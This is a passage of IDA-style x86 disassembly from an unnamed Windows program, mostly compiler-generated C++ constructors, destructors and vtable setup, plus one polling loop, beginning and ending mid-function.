mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40208B
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40208B
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40208B
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40208B
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40208B
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AE6
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AE6
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AE6
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AE6
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AE6
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AE6
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AE6
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AE6
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AE6
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AE6
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AE6
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AE6
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AE6
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AE6
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AE6
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AE6
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AE6
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AE6
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AE6
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AE6
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AE6
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AE6
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AE6
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AE6
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AE6
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AE6
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AE6
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AE6
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AE6
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AE6
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AE6
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AE6
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417120 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417640 proc near ; CODE XREF: sub_4014FBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417640
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417640 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176E0 proc near ; CODE XREF: sub_401EA1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4177B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4177B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4177B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417870 proc near ; CODE XREF: sub_402239j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417870
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417870 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417930 proc near ; CODE XREF: sub_401ECEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417930 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179F0 proc near ; CODE XREF: sub_4018D9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_4017DAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AD0 proc near ; CODE XREF: sub_401B3Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417AD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417AD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B40 proc near ; CODE XREF: sub_401F46j
add ecx, 4
jmp sub_401023
sub_417B40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BE0 proc near ; CODE XREF: sub_401E06j
add ecx, 4
jmp sub_401023
sub_417BE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C00 proc near ; CODE XREF: sub_402013j
add ecx, 4
jmp sub_401023
sub_417C00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C20 proc near ; CODE XREF: sub_401F00j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417CC0 proc near ; CODE XREF: sub_401587j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417CC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D60 proc near ; CODE XREF: sub_40164Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E30 proc near ; CODE XREF: sub_401780j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401753
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417EF0 proc near ; CODE XREF: sub_40182Fj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F050
mov eax, esi
pop esi
retn
sub_417EF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F20 proc near ; CODE XREF: sub_4016BDj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F05C
mov eax, esi
pop esi
retn
sub_417F20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F50 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418010 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418010
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4180D0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4180D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4180D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418150 proc near ; CODE XREF: sub_401D25j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset off_43F090
mov eax, esi
pop esi
retn
sub_418150 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418180
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418200 proc near ; CODE XREF: sub_401A91j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418200
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418200 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418280 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F09C
mov eax, esi
pop esi
retn
sub_418280 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4182B0 proc near ; CODE XREF: sub_401CB7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4182B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4182B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_40157Dj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A4
mov eax, esi
pop esi
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418360 proc near ; CODE XREF: sub_401799j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F0A8
mov eax, esi
pop esi
retn
sub_418360 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418390 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418390
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418390 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418430 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_5118D8
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418448: ; CODE XREF: sub_418430+E4j
test bl, bl
jnz loc_41851E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41845E
mov bl, 1
jmp short loc_418472
; ---------------------------------------------------------------------------
loc_41845E: ; CODE XREF: sub_418430+28j
lea ecx, [esi+15Fh]
call sub_40186B
test al, al
setz bl
test bl, bl
jz short loc_418479
loc_418472: ; CODE XREF: sub_418430+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418479: ; CODE XREF: sub_418430+40j
lea ecx, [esp+1Ch+var_C]
call sub_4020A4
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F69
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jz short loc_4184FE
loc_4184B4: ; CODE XREF: sub_418430+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov ecx, [eax]
call sub_40174E
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov eax, [eax]
test eax, eax
jz short loc_4184DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4184DB: ; CODE XREF: sub_418430+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jnz short loc_4184B4
loc_4184FE: ; CODE XREF: sub_418430+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418448
test bl, bl
jz short loc_41852B
loc_41851E: ; CODE XREF: sub_418430+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41852B: ; CODE XREF: sub_418430+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418430 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418590 proc near ; CODE XREF: sub_401771j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418590
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E8EAB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4185D0
push eax
jmp short loc_4185D5
; ---------------------------------------------------------------------------
